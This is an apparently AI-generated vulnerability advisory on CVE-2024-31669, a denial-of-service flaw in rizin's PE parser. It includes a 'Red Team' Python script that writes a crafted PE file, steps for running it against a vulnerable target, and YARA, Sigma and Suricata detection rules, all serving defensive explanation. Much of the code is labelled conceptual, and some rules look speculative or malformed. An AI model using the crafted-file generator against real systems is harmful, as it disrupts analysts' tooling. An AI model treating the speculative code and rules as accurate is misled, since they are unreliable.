CVE-2024-31669
Executive Summary
CVE-2024-31669 is a high-severity vulnerability in the rizin reverse engineering framework, affecting versions prior to v0.6.3. The flaw resides in the Portable Executable (PE) binary parsing engine, specifically within the functions bin_pe_parse_imports, Pe_r_bin_pe_parse_var, and estimate_slide. An attacker can craft a malicious PE file that, when parsed by rizin, triggers uncontrolled resource consumption (CPU and memory), leading to a denial of service (DoS). This vulnerability is classified under CWE-400 (Uncontrolled Resource Consumption) and aligns with MITRE ATT&CK tactic T1499 (Endpoint Denial of Service). No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild. However, the impact is significant for security analysts and automated systems that rely on rizin for malware analysis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Rizin is distributed via GitHub releases, package managers (e.g., Homebrew, APT), and as a library dependency in other security tools. Users should verify the integrity of their rizin installation and ensure they are running version 0.6.3 or later. No known supply chain compromise has been reported for this CVE.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:
- Attack Vector (AV): Local (L) – requires the victim to open a malicious file.
- Attack Complexity (AC): Low (L) – no special conditions.
- Privileges Required (PR): None (N) – no authentication needed.
- User Interaction (UI): Required (R) – user must open the file.
- Scope (S): Unchanged (U) – affects only the vulnerable component.
- Confidentiality (C): None (N) – no data breach.
- Integrity (I): None (N) – no data modification.
- Availability (A): High (H) – service disruption.
Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Estimated Base Score: 5.5 (Medium)
Threat Level: Medium. While the impact is limited to availability, the low attack complexity and lack of privileges make it a viable vector for disrupting analysis workflows.
Deep Dive & Mechanics
The vulnerability is rooted in the PE binary parsing routines of rizin. The three affected functions handle different aspects of PE file structure:
bin_pe_parse_imports: Parses the import directory table (IDT) to resolve imported functions. A malformed IDT with an excessive number of entries or circular references can cause infinite loops or memory exhaustion.Pe_r_bin_pe_parse_var: Handles variable-length data structures within the PE file, such as resource entries or version info. An attacker can set fields to extremely large values, triggering unbounded memory allocation.estimate_slide: Calculates the slide offset for ASLR (Address Space Layout Randomization) in PE files. A crafted header can cause this function to enter an infinite loop or allocate massive memory.
The root cause is the lack of input validation and bounds checking. The parser trusts user-supplied values (e.g., NumberOfNames, SizeOfBlock) without verifying they are within reasonable limits. This allows an attacker to create a PE file that, when loaded, consumes all available CPU or memory resources, effectively freezing the rizin process.
Vulnerable vs. Patched Code
The patch in rizin v0.6.3 introduces sanity checks for loop counters and allocation sizes. Below is a conceptual comparison:
Vulnerable Code (pre-0.6.3):
// bin_pe_parse_imports - no bounds check on import count
for (int i = 0; i < import_dir->NumberOfNames; i++) {
// process each import
}
Patched Code (v0.6.3):
// bin_pe_parse_imports - added maximum import limit
#define MAX_IMPORTS 100000
if (import_dir->NumberOfNames > MAX_IMPORTS) {
return false; // reject malformed file
}
for (int i = 0; i < import_dir->NumberOfNames; i++) {
// process each import
}
Similar fixes were applied to Pe_r_bin_pe_parse_var (limiting allocation size) and estimate_slide (adding iteration caps). The patch ensures that parsing fails gracefully instead of consuming resources.
Exploitation & Lab Setup
Red Team (Exploitation)
Objective: Craft a malicious PE file that causes rizin to hang or crash when analyzed.
Prerequisites:
- Python 3.x with
structmodule - Target system with rizin < 0.6.3
Exploit Script (conceptual):
#!/usr/bin/env python3
import struct
def create_malicious_pe():
# Minimal DOS header
dos_header = b'MZ' + b'\x00' * 58 + struct.pack('<I', 0x80)
# PE signature
pe_signature = b'PE\x00\x00'
# File header
file_header = struct.pack('<HHIIIIIHH', 0x14C, 0, 0, 0, 0, 0, 0, 0, 0)
# Optional header with huge import table
optional_header = b'\x0B\x01' + b'\x00' * 94 # minimal
# Data directory with inflated import count
data_dir = struct.pack('<II', 0x1000, 0xFFFFFFFF) # huge size
# Crafted import directory entry
import_entry = struct.pack('<IIIII', 0xFFFFFFFF, 0, 0, 0, 0) # huge RVA
with open('malicious_pe.exe', 'wb') as f:
f.write(dos_header)
f.write(b'\x00' * (0x80 - len(dos_header)))
f.write(pe_signature)
f.write(file_header)
f.write(optional_header)
f.write(data_dir)
f.write(import_entry)
print("Malicious PE file created: malicious_pe.exe")
if __name__ == "__main__":
create_malicious_pe()
Usage:
- Run the script to generate
malicious_pe.exe. - Transfer the file to the target system.
- Execute:
rizin malicious_pe.exe - Observe rizin consuming 100% CPU or crashing.
Blue Team (Detection & Defense)
Detection:
- Monitor for rizin processes consuming excessive CPU or memory.
- Use file integrity monitoring to detect suspicious PE files.
- Deploy YARA rules (see Detection Engineering) to scan incoming PE files.
Defense:
- Update rizin to v0.6.3 or later.
- Implement sandboxing for rizin analysis (e.g., Docker with resource limits).
- Use static analysis tools to pre-screen PE files for anomalies before feeding them to rizin.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (None publicly available – generate your own from crafted samples)
- File Names:
malicious_pe.exe,exploit_pe.exe - Behavioral:
- Rizin process consuming >90% CPU for extended periods.
- Rizin process memory usage exceeding 2GB.
- Rizin process crash with segmentation fault.
- Network: None (local file-based attack).
- Registry/File System: No persistence mechanisms.
Detection Engineering
YARA Rule
rule CVE_2024_31669_Rizin_PE_DoS {
meta:
description = "Detects malicious PE files targeting CVE-2024-31669 in rizin"
author = "Valters IT"
date = "2024-05-20"
reference = "CVE-2024-31669"
hash = "unknown"
strings:
$pe_magic = "MZ"
$pe_sig = "PE\x00\x00"
$huge_import = { FF FF FF FF } // 0xFFFFFFFF in import fields
condition:
$pe_magic at 0 and $pe_sig at 0x80 and #huge_import >= 2
}
Sigma Rule
title: Rizin PE Parsing DoS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-31669 by analyzing PE files with rizin
author: Valters IT
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/rizin'
CommandLine|contains: '.exe'
condition: selection
falsepositives:
- Legitimate analysis of large PE files
level: medium
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-31669 Rizin PE DoS Attempt"; flow:to_server; content:"MZ"; offset:0; content:"PE\x00\x00"; offset:0x80; content:"|FF FF FF FF|"; distance:0; within:4; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update rizin to version 0.6.3 or later:
rizin -vto check version, then download from rizin.re. - Apply resource limits to rizin processes using
ulimitor systemd:ulimit -v 2097152 # limit virtual memory to 2GB ulimit -t 60 # limit CPU time to 60 seconds - Use a sandbox (e.g., Docker with
--memory=1g --cpus=1) for untrusted PE analysis.
Long-term Measures:
- Integrate YARA scanning into your file ingestion pipeline.
- Monitor rizin process behavior with EDR tools.
- Contribute to rizin's fuzzing efforts to discover similar bugs.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.